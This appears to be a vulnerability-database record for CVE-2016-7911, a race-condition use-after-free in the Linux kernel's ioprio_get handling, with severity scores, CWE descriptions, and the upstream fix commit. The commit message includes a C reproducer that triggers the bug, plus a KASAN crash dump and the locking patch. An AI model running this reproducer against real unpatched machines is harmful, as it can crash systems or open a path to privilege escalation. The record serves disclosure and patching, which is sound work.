CVE-2016-7911 (published 2016-11-16T05:59Z)

Race condition in the get_task_ioprio function in block/ioprio.c in the Linux kernel before 4.6.6 allows local users to gain privileges or cause a denial of service (use-after-free) via a crafted ioprio_get system call.

Severity: HIGH
CVSS v2 base score: 9.3 (AV:N/AC:M/Au:N/C:C/I:C/A:C)
CVSS v3 base score: 7.8, HIGH (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)

Weakness information:
cwe_id: CWE-362
cwe_name: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')
description: The product contains a code sequence that can run concurrently with other code, and the code sequence requires temporary, exclusive access to a shared resource, but a timing window exists in which the shared resource can be modified by another code sequence that is operating concurrently.
extended_description: 
            This can have security implications when the expected synchronization is in security-critical code, such as recording whether a user is authenticated or modifying important state information that should not be influenced by an outsider.
            A race condition occurs within concurrent environments, and is effectively a property of a code sequence. Depending on the context, a code sequence may be in the form of a function call, a small number of instructions, a series of program invocations, etc.
            A race condition violates these properties, which are closely related:
               
                  Exclusivity - the code sequence is given exclusive access to the shared resource, i.e., no other code sequence can modify properties of the shared resource before the original sequence has completed execution.
                  Atomicity - the code sequence is behaviorally atomic, i.e., no other thread or process can concurrently execute the same sequence of instructions (or a subset) against the same resource.
               
            A race condition exists when an "interfering code sequence" can still access the shared resource, violating exclusivity. Programmers may assume that certain code sequences execute too quickly to be affected by an interfering code sequence; when they are not, this violates atomicity. For example, the single "x++" statement may appear atomic at the code layer, but it is actually non-atomic at the instruction layer, since it involves a read (the original value of x), followed by a computation (x+1), followed by a write (save the result to x).
            The interfering code sequence could be "trusted" or "untrusted." A trusted interfering code sequence occurs within the product; it cannot be modified by the attacker, and it can only be invoked indirectly. An untrusted interfering code sequence can be authored directly by the attacker, and typically it is external to the vulnerable product.
         
         
cwe_id: CWE-416
cwe_name: Use After Free
description: The product reuses or references memory after it has been freed. At some point afterward, the memory may be allocated again and saved in another pointer, while the original pointer references a location somewhere within the new allocation. Any operations using the original pointer are no longer valid because the memory "belongs" to the code that operates on the new pointer.
extended_description: 
             
             
             
			 
             
             
         
         

Fix information:
repo_url: https://github.com/torvalds/linux
commit_details: repo_url: https://github.com/torvalds/linux
author: Omar Sandoval
author_date: 2016-07-01 00:39:35-07:00
msg: block: fix use-after-free in sys_ioprio_get()

get_task_ioprio() accesses the task->io_context without holding the task
lock and thus can race with exit_io_context(), leading to a
use-after-free. The reproducer below hits this within a few seconds on
my 4-core QEMU VM:

#define _GNU_SOURCE
#include <assert.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <sys/wait.h>

int main(int argc, char **argv)
{
	pid_t pid, child;
	long nproc, i;

	/* ioprio_set(IOPRIO_WHO_PROCESS, 0, IOPRIO_PRIO_VALUE(IOPRIO_CLASS_IDLE, 0)); */
	syscall(SYS_ioprio_set, 1, 0, 0x6000);

	nproc = sysconf(_SC_NPROCESSORS_ONLN);

	for (i = 0; i < nproc; i++) {
		pid = fork();
		assert(pid != -1);
		if (pid == 0) {
			for (;;) {
				pid = fork();
				assert(pid != -1);
				if (pid == 0) {
					_exit(0);
				} else {
					child = wait(NULL);
					assert(child == pid);
				}
			}
		}

		pid = fork();
		assert(pid != -1);
		if (pid == 0) {
			for (;;) {
				/* ioprio_get(IOPRIO_WHO_PGRP, 0); */
				syscall(SYS_ioprio_get, 2, 0);
			}
		}
	}

	for (;;) {
		/* ioprio_get(IOPRIO_WHO_PGRP, 0); */
		syscall(SYS_ioprio_get, 2, 0);
	}

	return 0;
}

This gets us KASAN dumps like this:

[   35.526914] ==================================================================
[   35.530009] BUG: KASAN: out-of-bounds in get_task_ioprio+0x7b/0x90 at addr ffff880066f34e6c
[   35.530009] Read of size 2 by task ioprio-gpf/363
[   35.530009] =============================================================================
[   35.530009] BUG blkdev_ioc (Not tainted): kasan: bad access detected
[   35.530009] -----------------------------------------------------------------------------

[   35.530009] Disabling lock debugging due to kernel taint
[   35.530009] INFO: Allocated in create_task_io_context+0x2b/0x370 age=0 cpu=0 pid=360
[   35.530009] 	___slab_alloc+0x55d/0x5a0
[   35.530009] 	__slab_alloc.isra.20+0x2b/0x40
[   35.530009] 	kmem_cache_alloc_node+0x84/0x200
[   35.530009] 	create_task_io_context+0x2b/0x370
[   35.530009] 	get_task_io_context+0x92/0xb0
[   35.530009] 	copy_process.part.8+0x5029/0x5660
[   35.530009] 	_do_fork+0x155/0x7e0
[   35.530009] 	SyS_clone+0x19/0x20
[   35.530009] 	do_syscall_64+0x195/0x3a0
[   35.530009] 	return_from_SYSCALL_64+0x0/0x6a
[   35.530009] INFO: Freed in put_io_context+0xe7/0x120 age=0 cpu=0 pid=1060
[   35.530009] 	__slab_free+0x27b/0x3d0
[   35.530009] 	kmem_cache_free+0x1fb/0x220
[   35.530009] 	put_io_context+0xe7/0x120
[   35.530009] 	put_io_context_active+0x238/0x380
[   35.530009] 	exit_io_context+0x66/0x80
[   35.530009] 	do_exit+0x158e/0x2b90
[   35.530009] 	do_group_exit+0xe5/0x2b0
[   35.530009] 	SyS_exit_group+0x1d/0x20
[   35.530009] 	entry_SYSCALL_64_fastpath+0x1a/0xa4
[   35.530009] INFO: Slab 0xffffea00019bcd00 objects=20 used=4 fp=0xffff880066f34ff0 flags=0x1fffe0000004080
[   35.530009] INFO: Object 0xffff880066f34e58 @offset=3672 fp=0x0000000000000001
[   35.530009] ==================================================================

Fix it by grabbing the task lock while we poke at the io_context.

Cc: stable@vger.kernel.org
Reported-by: Dmitry Vyukov <dvyukov@google.com>
Signed-off-by: Omar Sandoval <osandov@fb.com>
Signed-off-by: Jens Axboe <axboe@fb.com>
repository: repo_url: https://github.com/torvalds/linux
repo_name: torvalds/linux
description: Linux kernel source tree
repo_language: C
owner: torvalds
file_changes: filename: ioprio.c
change_type: ModificationType.MODIFY
diff: @@ -150,8 +150,10 @@ static int get_task_ioprio(struct task_struct *p)
 	if (ret)
 		goto out;
 	ret = IOPRIO_PRIO_VALUE(IOPRIO_CLASS_NONE, IOPRIO_NORM);
+	task_lock(p);
 	if (p->io_context)
 		ret = p->io_context->ioprio;
+	task_unlock(p);
 out:
 	return ret;
 }

programming_language: C